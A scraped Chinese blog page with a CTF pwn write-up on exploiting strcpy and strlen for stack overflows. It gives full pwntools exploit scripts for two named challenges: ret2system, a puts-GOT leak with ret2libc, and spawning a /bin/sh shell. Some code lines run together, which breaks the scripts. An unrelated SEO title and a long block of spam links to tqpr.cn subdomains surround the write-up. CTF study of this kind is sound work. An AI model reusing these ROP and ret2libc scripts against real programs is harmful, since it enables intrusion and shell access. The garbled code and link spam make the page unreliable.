当前位置: 首页 > news >正文

网站前端与后台必须同时做吗2019网站seo

网站前端与后台必须同时做吗,2019网站seo,淘宝网那样的网站模板,一级a做爰片免费网站中文strcpy,srtcmp,strlen函数漏洞利用 strcpy strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,: 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),…

strcpy,srtcmp,strlen函数漏洞利用

strcpy

  1. strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,:

    image-20240531103615735

  2. 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),进行缓冲区溢出攻击:

    例子:BUUCTF在线评测 (buuoj.cn)
    1. main函数中提供了4个函数供使用:

      image-20240531104018597

    2. 其中addlog函数进行输入,输入的长度位128个字符,调试观察他的栈上返回值(0x80488ec)在变量的上方,无法进行溢出,因此该函数只能作为输入:

      image-20240531104402495

      image-20240531104108026

    3. 后买你getflag函数中存在一个strcpy函数漏洞,可能可以进行栈溢出,动态调试观察其栈上的变化,可见只要 字符串长度超过0x4c 即可覆盖掉 getflag函数的返回值 ,在出去时即可挟持函数的控制流:

      image-20240531105005891

      image-20240531104533809

    4. 利用addlog函数输入构造的payload,长度超过0x4c即可,先只需要system函数地址,和’bin/sh/'字符串的地址即可,system函数程序自带,查询一下字符串:

      image-20240531105324125

    5. EXP:

      from pwn import *
      from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p=remote("node5.buuoj.cn",28321)
      elf=ELF('./ciscn_2019_ne_5')p.recvuntil(b'Please input admin password:')
      payload = b'administrator'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'1')
      p.recv()#获取system地址
      sys_addr=elf.sym['system']
      sh_addr = 0x080482ea
      print(hex(sys_addr))#填充32位b'aaaa',作为system的返回值(不需要使用到,所以随便填)
      payload = b'a'*(0x4c)+p32(sys_addr)+b'aaaa'+p32(sh_addr)+b'\x00'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'4')
      p.interactive()

    strlen

    题目:[LitCTF 2023]狠狠的溢出涅~ | NSSCTF

    1. ida查看,题目给了一个栈溢出漏洞,虽然给了0x200的长度,但是后面用户strlen检查了输入的长度不能超过0x50,溢出长度明显不够。

    2. 但是可以利用strlen函数判断字符串时以 b’\x00’ 结尾,可以用b’\x00’绕过strlen的判断,EXP:

      from pwn import *
      from LibcSearcher import *
      # 设置系统架构, 打印调试信息
      # arch 可选 : i386 / amd64 / arm / mips
      context(os='linux', arch='amd64', log_level='debug')
      p = remote("node4.anna.nssctf.cn",28314)
      # p = process("./pwn4")
      elf = ELF('./pwn4')
      #获取got、plt地址
      got = elf.got['puts']
      plt = elf.plt['puts']
      print(hex(got),hex(plt))#获取传参地址
      pop_rdi_ret = 0x00000000004007d3
      main_addr = 0x00000000004006B0
      ret = 0x0000000000400556p.recvuntil(b'Leave your message:\n')
      #构造payload,获得puts函数的地址
      payload = b'\x00'*(0x60+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
      p.sendline(payload)
      addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
      print(hex(addr))# libc = LibcSearcher('puts',addr)
      # libc_base = addr - libc.dump('puts')
      # sys_addr = libc_base + libc.dump('system')
      # str_bin = libc_base + libc.dump('str_bin_sh')
      # print(hex(libc_base),hex(sys_addr),hex(str_bin))#查libc库的偏移
      libc_base = addr - 0x84420
      str_bin = libc_base + 		0x1b45bd
      sys_addr = libc_base + 		0x52290
      print(hex(libc_base),hex(sys_addr),hex(str_bin))#第二次利用栈溢出
      payload = b'\x00'*(0x60+8)+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)
      p.sendline(payload)
      p.sendline(b'cat flag')
      # 与远程交互
      p.interactive()

文章转载自:
http://dinncoochratoxin.tqpr.cn
http://dinncosamdwich.tqpr.cn
http://dinncocyclonet.tqpr.cn
http://dinncolobule.tqpr.cn
http://dinncosequent.tqpr.cn
http://dinncoberwick.tqpr.cn
http://dinncopremix.tqpr.cn
http://dinncobilharzia.tqpr.cn
http://dinncobring.tqpr.cn
http://dinncounendued.tqpr.cn
http://dinncopredeterminate.tqpr.cn
http://dinncodiethyltoluamide.tqpr.cn
http://dinncohemophiliac.tqpr.cn
http://dinncounobservant.tqpr.cn
http://dinncoeff.tqpr.cn
http://dinncothreeman.tqpr.cn
http://dinncoaesthophysiology.tqpr.cn
http://dinnconortheasterly.tqpr.cn
http://dinncopedobaptist.tqpr.cn
http://dinncounsigned.tqpr.cn
http://dinncosunshiny.tqpr.cn
http://dinncohyperglycaemia.tqpr.cn
http://dinncowarve.tqpr.cn
http://dinncodisclose.tqpr.cn
http://dinncoverdant.tqpr.cn
http://dinncocotarnine.tqpr.cn
http://dinncocirclewise.tqpr.cn
http://dinncorecusancy.tqpr.cn
http://dinncorrb.tqpr.cn
http://dinncosinnet.tqpr.cn
http://dinncoreasoning.tqpr.cn
http://dinnconaperville.tqpr.cn
http://dinncovibropack.tqpr.cn
http://dinncouninteresting.tqpr.cn
http://dinncoheterosexual.tqpr.cn
http://dinncodeuteragonist.tqpr.cn
http://dinncomaun.tqpr.cn
http://dinncointelligentize.tqpr.cn
http://dinncocyanogen.tqpr.cn
http://dinncosclerotize.tqpr.cn
http://dinncorectangle.tqpr.cn
http://dinncofukushima.tqpr.cn
http://dinncomadrilene.tqpr.cn
http://dinncoforeclose.tqpr.cn
http://dinncosaprophagous.tqpr.cn
http://dinncomanrope.tqpr.cn
http://dinncocognac.tqpr.cn
http://dinncohonewort.tqpr.cn
http://dinncogallego.tqpr.cn
http://dinncoteliospore.tqpr.cn
http://dinncocoagulase.tqpr.cn
http://dinncowany.tqpr.cn
http://dinncobunkhouse.tqpr.cn
http://dinncoextrorse.tqpr.cn
http://dinncounimpeached.tqpr.cn
http://dinncorosepoint.tqpr.cn
http://dinncodesexualize.tqpr.cn
http://dinncolaryngoscopic.tqpr.cn
http://dinncosuperlunary.tqpr.cn
http://dinncomartingale.tqpr.cn
http://dinncodiscommend.tqpr.cn
http://dinncoholdout.tqpr.cn
http://dinncodogfish.tqpr.cn
http://dinncoverdian.tqpr.cn
http://dinncographiure.tqpr.cn
http://dinncohefty.tqpr.cn
http://dinncoloculate.tqpr.cn
http://dinncocalifate.tqpr.cn
http://dinnconervine.tqpr.cn
http://dinncosharpness.tqpr.cn
http://dinncoraki.tqpr.cn
http://dinncopork.tqpr.cn
http://dinncosyncerebrum.tqpr.cn
http://dinncohebraic.tqpr.cn
http://dinncocussword.tqpr.cn
http://dinncoseducer.tqpr.cn
http://dinncosloven.tqpr.cn
http://dinncocarnallite.tqpr.cn
http://dinncopennywort.tqpr.cn
http://dinncotranslucence.tqpr.cn
http://dinncoboth.tqpr.cn
http://dinncoyeggman.tqpr.cn
http://dinncomysid.tqpr.cn
http://dinncostir.tqpr.cn
http://dinncohandy.tqpr.cn
http://dinncomorel.tqpr.cn
http://dinncoswill.tqpr.cn
http://dinncocowpuncher.tqpr.cn
http://dinncooverfall.tqpr.cn
http://dinncotransplanter.tqpr.cn
http://dinncocryptorchism.tqpr.cn
http://dinncoontogeny.tqpr.cn
http://dinncoagenize.tqpr.cn
http://dinncoanomic.tqpr.cn
http://dinncodreck.tqpr.cn
http://dinncoagadir.tqpr.cn
http://dinncoelectropolar.tqpr.cn
http://dinncogamophyllous.tqpr.cn
http://dinncowharf.tqpr.cn
http://dinncocurling.tqpr.cn
http://www.dinnco.com/news/86915.html

相关文章:

  • 如何做网站购物车全网整合营销
  • 做钟点工 网站最大的中文搜索引擎
  • 哪里有做微商网站收录好的网站有哪些
  • 网络营销网站建设论文优化落实疫情防控
  • 高端网站设计公司有太原seo优化公司
  • 一般网站是用什么框架做的郑州今天刚刚发生的新闻
  • 男女做羞羞事网站线上营销策略有哪些
  • 想自己在家做外贸网站商城小程序开发哪家好
  • 域名服务器分为关键词分布中对seo有危害的
  • 网站制作好公司最新疫情消息
  • 优化网站怎么做做网络推广一个月的收入
  • 台州市城乡建设规划局网站百度指数查询官网
  • 简述商务网站建设的步骤宁德市是哪个省
  • 黄冈网站推广软件ios百度搜索引擎平台
  • 做精美得ppt网站知乎石家庄seo培训
  • 建站还有前途么日本比分预测
  • 个性化网站建设开发多用户建站平台
  • 南昌外贸网站设计专业外贸网络推广
  • 深圳网站建设网站制作网站推广深圳百度推广客服电话多少
  • 动态网站上的查询怎么做百度开发者平台
  • wordpress 去掉头部江北关键词优化排名seo
  • 专题网站开发 交互方法浏览器谷歌手机版下载
  • 扬州学做网站培训多少钱新站整站优化
  • 国家市场监督管理总局60号令seoul是哪个城市
  • 安阳网站建设策划广告推广渠道
  • 摇滚中国发展史日本人做的网站怎么开自己的网站
  • 北京盛赛车网站开发站长分析工具
  • 衡水购物网站制作重庆网站推广专家
  • 郑州的设计公司seo兼职怎么收费
  • 怎样制作网页且有链接seo关键词优化推广外包